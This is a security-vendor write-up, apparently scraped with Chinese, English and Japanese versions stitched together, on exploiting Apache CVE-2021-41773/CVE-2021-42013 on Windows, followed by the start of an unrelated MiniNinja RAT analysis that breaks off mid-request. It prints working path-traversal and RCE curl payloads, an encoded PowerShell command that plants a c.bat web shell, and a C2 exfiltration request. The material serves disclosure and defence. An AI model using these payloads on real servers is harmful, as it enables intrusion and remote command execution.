|```cmd.exe "/c dir"```|```cmd.exe /c dir"```|
|```cmd.exe "/c dir "```|```cmd.exe /c dir "```|
|```cmd.exe ~!@#$%^&*()_+{}:"<>?/c dir```|```cmd.exe /c dir```|
|```cmd.exe ~!@#$%^&*()_+{}:"<>?/c dir "```|```cmd.exe /c dir "```|
|```cmd.exe ~!@#$%^&*()_+{}:"<>?/cdir```|```cmd.exe /c dir```|


**cmd with powershell.exe**

| **Command ** | **Result ** |
|---|---|
|```powershell.exe -c write-output 1```|```1```|
|```powershell.exe -c write-output "1```|```1```|
|```powershell.exe -c write-output 1"```|```1```|
|```powershell.exe -c write-output ""1```|```1```|
|```powershell.exe -c write-output 1""```|```1```|
|```powershell.exe -c write-output """```|```The string is missing the terminator: ".```|
|```powershell.exe -c write-output "1""```|```	The string is missing the terminator: ".```|
|```powershell.exe -c write-output ""1"```|```1```|
|```powershell.exe -c write-output "1"1"```|```11```|
|```powershell.exe -c write-output """"```|```The string is missing the terminator: ".```|
|```powershell.exe -c write-output "1""1"```|```The string is missing the terminator: ".```|
|```powershell.exe -c write-output """""```|```	The string is missing the terminator: ".```|
|```powershell.exe -c write-output """1"""```|```1```|
|```powershell.exe -c write-output """"1"""```|```1```|
|```powershell.exe -c write-output """1""""```|```1```|
|```powershell.exe -c write-output """1"""""```|```1```|
|```powershell.exe -c write-output """""1"""```|```1```|
|```powershell.exe -c write-output """1""""""2"""```|```1"2```|
|```powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAiADEA```|```The string is missing the terminator: ".```|
|```powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en d""wByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en d"wByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en "dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA=="```|```1```|
|```powershell.exe -en ""dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==""```|```1```|
|```powershell.exe -en "d"wByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA=="```|```1```|


**powershell write C:\Users\Public\c.bat**

以下為 Powershell script 編碼後的內容：

- JABzAHQAcgA9AEAAIgANAAoAQABlAGMAaABvACAAbwBmAGYAIAAmACYAIABlAGMAaABvACAAQwBvAG4AdABlAG4AdAAtAHQAeQBwAGUAOgB0AGUAeAB0AC8AcABsAGEAaQBuACAAJgAmACAAZQBjAGgAbwAuAA0ACgBlAGMAaABvACAAJQAxAA0ACgBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIAAtAE4AbwBMAG8AZwBvACAALQBOAG8AUAByAG8AZgBpAGwAZQAgAC0AQwBvAG0AbQBhAG4AZAAgACIAJQAxACAAfAAgAE8AdQB0AC0AZgBpAGwAZQAgAC0ARQBuAGMAbwBkAGkAbgBnACAAdQB0AGYAOAAgAC0ARgBpAGwAZQBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXAByAC4AdAB4AHQAIgANAAoAdAB5AHAAZQAgAEMAOgBcAFUAcwBlAHIAcwBcAFAAdQBiAGwAaQBjAFwAcgAuAHQAeAB0AA0ACgBkAGUAbAAgAEMAOgBcAFUAcwBlAHIAcwBcAFAAdQBiAGwAaQBjAFwAcgAuAHQAeAB0AA0ACgAiAEAADQAKAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABzAHQAcgAgAHwAIABPAHUAdAAtAGYAaQBsAGUAIAAtAEUAbgBjAG8AZABpAG4AZwAgAGEAcwBjAGkAaQAgAC0ARgBpAGwAZQBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXABjAC4AYgBhAHQA

此為 Powershell script 解碼後的內容：

```
$str=@"
@echo off && echo Content-type:text/plain && echo.
echo %1
powershell.exe -NoLogo -NoProfile -Command "%1 | Out-file -Encoding utf8 -FilePath C:\Users\Public\r.txt"
type C:\Users\Public\r.txt
del C:\Users\Public\r.txt
"@
Write-Output $str | Out-file -Encoding ascii -FilePath C:\Users\Public\c.bat
```



## **影響與建議**
- 建議將 Apache 更新至最新版本



## **附錄 cgi-bin how to work**

- 網路上大部分的 Linux PoC 都是使用 POST data 的方式，這裡則是使用 GET parameter, 特此說明其中的差異。

## demo.bat
```
@echo off && echo Content-type:text/plain && echo.
echo %1
```

## test with demo.bat

- 遠端測試
![遠端測試.png](https://legacy-uploads.teamt5.org/_9ed6e42028.png)



- 解碼無法印出字元
![解碼無法印出字元.png](https://legacy-uploads.teamt5.org/_c9e8a9fbfe.png)



- 與實際上系統執行結果一致
![與實際上系統執行結果一致.png](https://legacy-uploads.teamt5.org/_048619bbc1.png)



## **參考資料**

- [Apache HTTP Server 2.4 vulnerabilities - The Apache HTTP Server Project](https://httpd.apache.org/security/vulnerabilities_24.html)
- [Florian Roth ⚡️ 在 Twitter 上：“I have summarized the Apache path normalization clusterfuck for you https://t.co/FkwDf4qDxH” / Twitter](https://twitter.com/cyb3rops/status/1446893960950128644)
- [Akamai Blog | Mitigating CVE-2021-41773: Apache HTTP Server Path Traversal](https://www.akamai.com/blog/news/how-akamai-helps-you-protect-against-0-days)

*首圖來源: [Pixabay](https://pixabay.com/photos/highway-road-tornado-lightning-5433087/)

Apache HTTP Server(Windows) 2021高風險安全漏洞詳解

# **Prologue**

Apache HTTP Server has been the gold standard across the world for decades due to its cross-platform nature and ease-of-use and therefore, it is also the target of plenty of threat actors and exploit researchers. Given the recent disclosure of CVE-2021-41773 and CVE-2021-42013 and the nature of its high severity, numerous outlets have already made a writeup for demonstrating their capabilities.

However, since most of the writeups have primarily focused on the Linux aspect of the vulnerabilities, some may not be aware that platforms such as Windows is just as vulnerable as well. In the following post, we’ll go over how these vulnerabilities can be utilized against Windows hosts with vulnerable Apache HTTP Server.

![meme.jpg](https://legacy-uploads.teamt5.org/meme_c7a9e6fc2c.jpg)

## **How Does it Work?**

Researchers found that by crafting a special HTTP request, Apache HTTP server can be tricked into creating a path traversal attack or remote code execution (RCE). The following curl commands demonstrate how these two attack methods can be recreated :

Payload 1: Local file inclusion via path traversals

```curl -s --path-as-is "http://127.0.0.1/icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32
%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/
etc/passwd"
```

Payload 2：Remote code execution via path traversals

```curl -s -d "echo;id" --path-as-is "http://127.0.0.1/icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32
%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/
bin/sh"
```

**Root Cause Analysis**

Given the requests shown above, we can see that despite the effort put into fixing the vulnerabilities in Apache HTTP Server 2.4.50, the CVEs can still be reproduced by double-encoding the request. When handling external HTTP requests, the Apache server will pass the request to ```ap_process_request_internal``` to parse the URL path. In the said method, ```ap_normalize_path``` and ```ap_unescape_url``` are called. However, both of these methods will decode the path when handling the input.

Fig 1. is a diff between 2.4.49 and 2.4.50. As one could see, the proposed fix was to handle abnormal characters like ```%2e```. Unfortunately, the fix was only implemented in one of the aforementioned methods. Therefore, one could easily bypass this fix by double-encoding the path.

![pic 1_eng.png](https://legacy-uploads.teamt5.org/pic_1_eng_4fe4a7c1ff.png)

<center>Figure 1. Diff between Apache 2.4.49 and 2.4.50</center>

After double-encoding our paths, we get:

```
http://127.0.0.1/icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32
%65%%32%65/%%32%65%%32%65/%%32%65%%32
%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh
```

```
http://127.0.0.1/icons/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/
%2e%2e/%2e%2e/%2e%2e/bin/sh
```

By decoding the path twice…

```
http://127.0.0.1/icons/../../../../../../../../../../bin/sh
```

Based on this improper fix, we can see that Apache HTTP Server did not properly validate and normalize the paths, leading to our successful payload execution.

Next, we’ll talk about how these vulnerabilities can be applied on Windows.

## **PoC on Windows**

- The following demo uses a vulnerable version of the Apache HTTP Server at the IP ```192.168.56.161```

**Payload 1: Local File Inclusion via Path Traversal **

```C:/Windows/win.ini``` could be read using this attack vector, as shown in Fig. 2.

![pic 2.png](https://legacy-uploads.teamt5.org/pic_2_792d054cbf.png)

<center>Figure 2. Path traversals leading to local file inclusion</center>

**Payload 2：Remote Code Execution**

Through ```cmd.exe```, we can use PowerShell to write a ```c.bat``` file under ```C:\Users\Public```. You might notice that Apache HTTP Server will return with a 500 Internal Server Error (see Fig. 3), that is primarily due to not having a proper HTTP header response from the CGI - in reality, the script did successfully go through and ran on the target host.

![pic 3.png](https://legacy-uploads.teamt5.org/pic_3_3f12f57192.png)

<center>Figure 3. The results after payload execution</center>

We can then specify any command that we desire through this ```c.bat``` file.

![pic 4.png](https://legacy-uploads.teamt5.org/pic_4_b195f466cb.png)

<center>Figure 4. Arbitrary code execution via the c.bat file</center>

Here’s what it looks like under Process Monitor:

![pic 5.png](https://legacy-uploads.teamt5.org/pic_5_c18bad34ee.png)
<center>Figure 5. Snapshot from Process Monitor</center>

Note that even if there are special characters in the arguments, ```cmd.exe``` can still properly execute the command thanks to how cmd parses its arguments.

**cmd.exe magic parser**

Under normal circumstances, processes with quoted argument including optional switches shouldn’t be able to run properly - yet, ```cmd.exe``` was able to run with our ```/c``` argument quoted. We delve deeper in order to understand how ```cmd.exe``` was able to achieve this.

- Parser documentation from the help ```/?``` switch

![pic 6-2.png](https://legacy-uploads.teamt5.org/pic_6_2_f1ab2bc981.png)


<center>Figure 6. Screenshot of the cmd window with the help switch</center>

- Surprise!

![pic 7.png](https://legacy-uploads.teamt5.org/pic_7_f58e914086.png)

<center>Figure 7. cmd parser in action</center>

| **Command ** | **Similar** |
|---|---|
|```cmd.exe "/c dir"```|```cmd.exe /c dir"```|
|```cmd.exe "/c dir "```|```cmd.exe /c dir "```|
|```cmd.exe ~!@#$%^&*()_+{}:"<>?/c dir```|```cmd.exe /c dir```|
|```cmd.exe ~!@#$%^&*()_+{}:"<>?/c dir "```|```cmd.exe /c dir "```|
|```cmd.exe ~!@#$%^&*()_+{}:"<>?/cdir```|```cmd.exe /c dir```|


**cmd with powershell.exe**

| **Command ** | **Result ** |
|---|---|
|```powershell.exe -c write-output 1```|```1```|
|```powershell.exe -c write-output "1```|```1```|
|```powershell.exe -c write-output 1"```|```1```|
|```powershell.exe -c write-output ""1```|```1```|
|```powershell.exe -c write-output 1""```|```1```|
|```powershell.exe -c write-output """```|```The string is missing the terminator: ".```|
|```powershell.exe -c write-output "1""```|```	The string is missing the terminator: ".```|
|```powershell.exe -c write-output ""1"```|```1```|
|```powershell.exe -c write-output "1"1"```|```11```|
|```powershell.exe -c write-output """"```|```The string is missing the terminator: ".```|
|```powershell.exe -c write-output "1""1"```|```The string is missing the terminator: ".```|
|```powershell.exe -c write-output """""```|```	The string is missing the terminator: ".```|
|```powershell.exe -c write-output """1"""```|```1```|
|```powershell.exe -c write-output """"1"""```|```1```|
|```powershell.exe -c write-output """1""""```|```1```|
|```powershell.exe -c write-output """1"""""```|```1```|
|```powershell.exe -c write-output """""1"""```|```1```|
|```powershell.exe -c write-output """1""""""2"""```|```1"2```|
|```powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAiADEA```|```The string is missing the terminator: ".```|
|```powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en d""wByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en d"wByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en "dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA=="```|```1```|
|```powershell.exe -en ""dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==""```|```1```|
|```powershell.exe -en "d"wByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA=="```|```1```|


**Using PowerShell to Write C:\Users\Public\c.bat**

Encoded command through the ```-EncodedCommand``` switch:

- JABzAHQAcgA9AEAAIgANAAoAQABlAGMAaABvACAAbwBmAGYAIAAmACYAIABlAGMAaABvACAAQwBvAG4AdABlAG4AdAAtAHQAeQBwAGUAOgB0AGUAeAB0AC8AcABsAGEAaQBuACAAJgAmACAAZQBjAGgAbwAuAA0ACgBlAGMAaABvACAAJQAxAA0ACgBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIAAtAE4AbwBMAG8AZwBvACAALQBOAG8AUAByAG8AZgBpAGwAZQAgAC0AQwBvAG0AbQBhAG4AZAAgACIAJQAxACAAfAAgAE8AdQB0AC0AZgBpAGwAZQAgAC0ARQBuAGMAbwBkAGkAbgBnACAAdQB0AGYAOAAgAC0ARgBpAGwAZQBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXAByAC4AdAB4AHQAIgANAAoAdAB5AHAAZQAgAEMAOgBcAFUAcwBlAHIAcwBcAFAAdQBiAGwAaQBjAFwAcgAuAHQAeAB0AA0ACgBkAGUAbAAgAEMAOgBcAFUAcwBlAHIAcwBcAFAAdQBiAGwAaQBjAFwAcgAuAHQAeAB0AA0ACgAiAEAADQAKAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABzAHQAcgAgAHwAIABPAHUAdAAtAGYAaQBsAGUAIAAtAEUAbgBjAG8AZABpAG4AZwAgAGEAcwBjAGkAaQAgAC0ARgBpAGwAZQBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXABjAC4AYgBhAHQA

Decoded script:

```
$str=@"
@echo off && echo Content-type:text/plain && echo.
echo %1
powershell.exe -NoLogo -NoProfile -Command "%1 | Out-file -Encoding utf8 -FilePath C:\Users\Public\r.txt"
type C:\Users\Public\r.txt
del C:\Users\Public\r.txt
"@
Write-Output $str | Out-file -Encoding ascii -FilePath C:\Users\Public\c.bat
```



## **Patches & Remediation**
- Update Apache HTTP Server to the latest version (2.4.50+)



## **Appendix: Working with CGI**

## demo.bat
```
@echo off && echo Content-type:text/plain && echo.
echo %1
```

## test with demo.bat

- Remote shell execution
![遠端測試.png](https://legacy-uploads.teamt5.org/_9ed6e42028.png)



-Decode special characters
![解碼無法印出字元.png](https://legacy-uploads.teamt5.org/_c9e8a9fbfe.png)



- Identical to the system output
![與實際上系統執行結果一致.png](https://legacy-uploads.teamt5.org/_048619bbc1.png)



## **References**

- [Apache HTTP Server 2.4 vulnerabilities - The Apache HTTP Server Project](https://httpd.apache.org/security/vulnerabilities_24.html)
- [Florian Roth ⚡️ 在 Twitter 上：“I have summarized the Apache path normalization clusterfuck for you https://t.co/FkwDf4qDxH” / Twitter](https://twitter.com/cyb3rops/status/1446893960950128644)
- [Akamai Blog | Mitigating CVE-2021-41773: Apache HTTP Server Path Traversal](https://www.akamai.com/blog/news/how-akamai-helps-you-protect-against-0-days)

*Image courtesy of Pixabay: [Pixabay](https://pixabay.com/photos/highway-road-tornado-lightning-5433087/)

Apache HTTP Server Vulnerabilities in Windows (CVE-2021-41773 & CVE-2021-42013)

# **はじめに**

Apache HTTP Serverは、クロスプラットフォームの利便性から幅広く使用されているオープンソースのWebサーバソフトウェアです。最近、Apache HTTP Serverにおいて、2つのハイリスクの脆弱性（CVE-2021-41773およびCVE-2021-42013）の存在が明らかになりました。インターネット上で公開されている脆弱性の利用についての詳細のほとんどは、Linuxシステムがメインとなっていますが、当社はWindowsにもこの脆弱性の問題が存在していることを把握しており、本記事で脆弱性の利用に関する詳細を明らかにします。また、ハッキング攻撃のターゲットにならないように、Apacheをできるだけ早く最新バージョンにアップデートすることをおすすめします。

![meme.jpg](https://legacy-uploads.teamt5.org/meme_c7a9e6fc2c.jpg)

## **脆弱性について**

研究員は特殊なHTTPリクエストを送信し、Apacheサーバの脆弱性を利用することでパスの列挙やリモートコード実行の攻撃が可能となることを発見しました。以下はcurlコマンドで実装したLinuxのペイロード（Payload）です：

攻撃の結果1：システムファイルを任意にダウンロード（Path Traversal）

```curl -s --path-as-is "http://127.0.0.1/icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32
%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/
etc/passwd"
```

攻撃の結果2：リモートコード実行（Remote Code Execution）

```curl -s -d "echo;id" --path-as-is "http://127.0.0.1/icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32
%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/
bin/sh"
```

**脆弱性が発生する原因**

はじめに、上記の攻撃の構文を例にすると、Apache 2.4.50では、脆弱性が適切に修正されていないため、double encodeにより、2つの脆弱性（CVE-2021-41773およびCVE-2021-42013）を同時に突く攻撃が可能となります。これは、Apacheが外部のHTTPリクエストを処理する時に、ap_process_request_internal関数を呼び出してURLを処理することが原因となっています。この関数では、はじめにap_normalize_path関数を呼び出してURLを1回デコードし、次にap_unescape_url関数を呼び出して2回デコードします。図1からかわるように、Apache 2.4.50は脆弱性を修正するのに必要なコードが不完全です。元の571行では、エンコード後のパスのスケープをチェックしていなかったことが確認でき、576行から対応するチェックが追加されましたが、依然としてチェックが不完全なため、double encodeによりバイパスが可能です。

![pic 1_eng.png](https://legacy-uploads.teamt5.org/pic_1_eng_4fe4a7c1ff.png)
<center>図1：Apache 2.4.49と2.4.50のコード</center>

攻撃の構文経過は2回のDecodeを経ます：

```
http://127.0.0.1/icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32
%65%%32%65/%%32%65%%32%65/%%32%65%%32
%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh
```

```
http://127.0.0.1/icons/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/
%2e%2e/%2e%2e/%2e%2e/bin/sh
```

そのため、このURI Decodeは最終的に以下のようになります：

```
http://127.0.0.1/icons/../../../../../../../../../../bin/sh
```

上記の簡単な説明からわかるように、元のApacheはユーザーから送信されたパスのエスケープを完全にチェックすることができないため、攻撃者は悪意のあるpayloadを入力して攻撃できます。

続いて、Windowsプラットフォームの利用方法とケースに焦点を当てます：

## **PoC on Windows**

- 当社は公式ウェブサイトからApacheをダウンロードし、攻撃対象として設定しました。（IP: 192.168.56.161）

**攻撃の結果1：システムファイルを任意にダウンロード（Path Traversal）**

図2はC:/Windows/win.iniのファイル内容を読み取った例です。

![pic 2.png](https://legacy-uploads.teamt5.org/pic_2_792d054cbf.png)
<center>図2：システムファイルを任意にダウンロード</center>

**攻撃の結果2：リモートコード実行（Remote Code Execution）**

1.cmd.exeでpowershellを実行し、C:\Users\Public\ にc.batを書き込みます。cgiプログラムには正確なhttp header responseがないため、apacheはstatus code 500を返しますが、scriptの実行は成功しています。下図3をご参照ください。

![pic 3.png](https://legacy-uploads.teamt5.org/pic_3_3f12f57192.png)
<center>図3：実行結果画面</center>

2. 次にc.batで任意のコマンドを実行することで、実行結果を確認できます。（図4）

![pic 4.png](https://legacy-uploads.teamt5.org/pic_4_b195f466cb.png)
<center>図4：実行結果画面</center>

これは、Process Monitorで記録されたプログラムのプロセスです。（図5）：

![pic 5.png](https://legacy-uploads.teamt5.org/pic_5_c18bad34ee.png)
<center>図5：Process Monitorの画面</center>

Process Monitorのプロセス実行履歴を注意深く観察すると、コマンドに特殊文字が含まれている場合、ダブルクオーテーションで囲まれることがわかります。e.g. : ```cmd.exe "/c powershell.exe -NoProfile -EncodedCommand ..."```。cmd.exeの特徴から、コマンドは正常に実行されます。

**cmd.exe magic parser**

Payloadが引用符を使用しても実行できる理由を研究するため、当社はさらにcmdで異なる引用符が使用された際の結果を分析しました。

- help documentation

![pic 6-2.png](https://legacy-uploads.teamt5.org/pic_6_2_f1ab2bc981.png)

<center>図6：cmd実行画面</center>

- Surprise!

![pic 7.png](https://legacy-uploads.teamt5.org/pic_7_f58e914086.png)

<center>図7：cmd実行画面</center>

| **Command ** | **Similar** |
|---|---|
|```cmd.exe "/c dir"```|```cmd.exe /c dir"```|
|```cmd.exe "/c dir "```|```cmd.exe /c dir "```|
|```cmd.exe ~!@#$%^&*()_+{}:"<>?/c dir```|```cmd.exe /c dir```|
|```cmd.exe ~!@#$%^&*()_+{}:"<>?/c dir "```|```cmd.exe /c dir "```|
|```cmd.exe ~!@#$%^&*()_+{}:"<>?/cdir```|```cmd.exe /c dir```|


**cmd with powershell.exe**

| **Command ** | **Result ** |
|---|---|
|```powershell.exe -c write-output 1```|```1```|
|```powershell.exe -c write-output "1```|```1```|
|```powershell.exe -c write-output 1"```|```1```|
|```powershell.exe -c write-output ""1```|```1```|
|```powershell.exe -c write-output 1""```|```1```|
|```powershell.exe -c write-output """```|```The string is missing the terminator: ".```|
|```powershell.exe -c write-output "1""```|```	The string is missing the terminator: ".```|
|```powershell.exe -c write-output ""1"```|```1```|
|```powershell.exe -c write-output "1"1"```|```11```|
|```powershell.exe -c write-output """"```|```The string is missing the terminator: ".```|
|```powershell.exe -c write-output "1""1"```|```The string is missing the terminator: ".```|
|```powershell.exe -c write-output """""```|```	The string is missing the terminator: ".```|
|```powershell.exe -c write-output """1"""```|```1```|
|```powershell.exe -c write-output """"1"""```|```1```|
|```powershell.exe -c write-output """1""""```|```1```|
|```powershell.exe -c write-output """1"""""```|```1```|
|```powershell.exe -c write-output """""1"""```|```1```|
|```powershell.exe -c write-output """1""""""2"""```|```1"2```|
|```powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAiADEA```|```The string is missing the terminator: ".```|
|```powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en d""wByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en d"wByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en "dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA=="```|```1```|
|```powershell.exe -en ""dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==""```|```1```|
|```powershell.exe -en "d"wByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA=="```|```1```|


**powershell write C:\Users\Public\c.bat**

以下はPowershell scriptをエンコードした内容です：

- JABzAHQAcgA9AEAAIgANAAoAQABlAGMAaABvACAAbwBmAGYAIAAmACYAIABlAGMAaABvACAAQwBvAG4AdABlAG4AdAAtAHQAeQBwAGUAOgB0AGUAeAB0AC8AcABsAGEAaQBuACAAJgAmACAAZQBjAGgAbwAuAA0ACgBlAGMAaABvACAAJQAxAA0ACgBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIAAtAE4AbwBMAG8AZwBvACAALQBOAG8AUAByAG8AZgBpAGwAZQAgAC0AQwBvAG0AbQBhAG4AZAAgACIAJQAxACAAfAAgAE8AdQB0AC0AZgBpAGwAZQAgAC0ARQBuAGMAbwBkAGkAbgBnACAAdQB0AGYAOAAgAC0ARgBpAGwAZQBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXAByAC4AdAB4AHQAIgANAAoAdAB5AHAAZQAgAEMAOgBcAFUAcwBlAHIAcwBcAFAAdQBiAGwAaQBjAFwAcgAuAHQAeAB0AA0ACgBkAGUAbAAgAEMAOgBcAFUAcwBlAHIAcwBcAFAAdQBiAGwAaQBjAFwAcgAuAHQAeAB0AA0ACgAiAEAADQAKAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABzAHQAcgAgAHwAIABPAHUAdAAtAGYAaQBsAGUAIAAtAEUAbgBjAG8AZABpAG4AZwAgAGEAcwBjAGkAaQAgAC0ARgBpAGwAZQBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXABjAC4AYgBhAHQA

以下はPowershell scriptをデコードした内容です：

```
$str=@"
@echo off && echo Content-type:text/plain && echo.
echo %1
powershell.exe -NoLogo -NoProfile -Command "%1 | Out-file -Encoding utf8 -FilePath C:\Users\Public\r.txt"
type C:\Users\Public\r.txt
del C:\Users\Public\r.txt
"@
Write-Output $str | Out-file -Encoding ascii -FilePath C:\Users\Public\c.bat
```



## **影響と提案**
- Apacheを最新バージョンにアップデートすることをおすすめします。



## **付録 cgi-bin how to work**

- インターネット上のほとんどのLinux PoCは、POST dataの方式を使用しています。ここではGET parameterを使用し、その違いを説明します。

## demo.bat
```
@echo off && echo Content-type:text/plain && echo.
echo %1
```

## test with demo.bat

- リモートテスト
![遠端測試.png](https://legacy-uploads.teamt5.org/_9ed6e42028.png)



- デコードで文字が印刷されない
![解碼無法印出字元.png](https://legacy-uploads.teamt5.org/_c9e8a9fbfe.png)



- 実際のシステム実行結果と一致
![與實際上系統執行結果一致.png](https://legacy-uploads.teamt5.org/_048619bbc1.png)



## **参考文献**

- [Apache HTTP Server 2.4 vulnerabilities - The Apache HTTP Server Project](https://httpd.apache.org/security/vulnerabilities_24.html)
- [Florian Roth ⚡️ @ Twitter ：“I have summarized the Apache path normalization clusterfuck for you https://t.co/FkwDf4qDxH” / Twitter](https://twitter.com/cyb3rops/status/1446893960950128644)
- [Akamai Blog | Mitigating CVE-2021-41773: Apache HTTP Server Path Traversal](https://www.akamai.com/blog/news/how-akamai-helps-you-protect-against-0-days)

*画像のソース: [Pixabay](https://pixabay.com/photos/highway-road-tornado-lightning-5433087/)

Apache HTTP Server（Windows）2021 ハイリスクのセキュリティ脆弱性の詳細

TeamT5 discovered a new remote administration tool (RAT), which we dubbed as MiniNinja, being used in several Chinese APT campaigns. TeamT5 has observed countries across different APAC regions, including Taiwan, Russia, Kyrgyzstan, Uzbekistan, Vietnam, the Philippines, and Pakistan, being targeted and attacked by this malware. The impacted industries include governments, energy, IT, telecommunication and engineering. MiniNinja is a complex malware that uses several advanced techniques to prevent itself from being detected and analyzed. Further, its wide targeting scope also attracted our attention. In this report, we will introduce the technical detail of our analysis.

MiniNinja was first discovered in the wild in a targeted attack against Taiwanese government agencies in early March 2021. The actor leveraged the ProxyLogon vulnerability (CVE-2021-26855) to compromise an email server and further implanted CobaltStrike Beacon and MiniNinja RAT in the victim network environment. This information was also disclosed in an ESET report[1] about a "Websiic Campaign" using the ProxyLogon vulnerability. TeamT5 noticed the existence of this new malware and started tracking its activities. Since then, TeamT5 has observed its footprints in Vietnam[2], Pakistan and the Philippines, possibly also implanted in victim hosts via the ProxyLogon vulnerability. Its latest activities were spear phishing email attacks against Russia and Uzbekistan in September 2021. TeamT5 is still uncertain of the attribution of these attacks. However, we possess high confidence that this is a new tool used by Chinese APT based on its TTPs and C2 infrastructure.

To bypass antivirus detection, MiniNinja is encrypted as a binary blob in a binary payload file. It might have one to multiple loader components in native PE or .Net, but basically the loaders do similar tasks. The loader components will decrypt and run it in memory via reflective DLL injection techniques. Its loader firstly checks the first 4 bytes of the payload file and decrypts the content by using 3DES (112bit) algorithm in case of header check passes:

![2110-1.png](https://legacy-uploads.teamt5.org/2110_1_19727d525b.png)

 

The decrypted buffer might be passed to a second stage loader for further processing if there are multiple loader components. The loader will then decode the content by custom decoding methods and LZSS decompression algorithm. The decoded payload is a PE file with its PE header erased and it is just the MiniNinja RAT. Finally, the loader will locate its export function "Debug" and start execution from there:

![2110-2.png](https://legacy-uploads.teamt5.org/2110_2_acd0d24736.png)

 

In a payload collected from some Taiwanese victims, there is a PDB string left by the developer (only in memory) and thus we name this malware MiniNinja:

![2110-3.png](https://legacy-uploads.teamt5.org/2110_3_f98da0e1b4.png)

 

The decrypted malware configuration block contains Mutex string, C2 URL, HTTP Header information, sleep time, etc.:

![2110-4.png](https://legacy-uploads.teamt5.org/2110_4_aabe1c7b5a.png)

 

Upon execution, the following victim host information will be collected:

 - System info
 - OS version
 - Hostname
 - IP addr
 - Process name
 - Process ID

The above data would be encoded with XOR encode and custom base64 encode. Finally, the encoded result would be sent to its C2 via POST:

```
POST http://149.28.28.159:443/Collector/3.0/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 149.28.28.159:443
User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv 11.0) like Gecko
Content-Length: 474
Pragma: no-cache

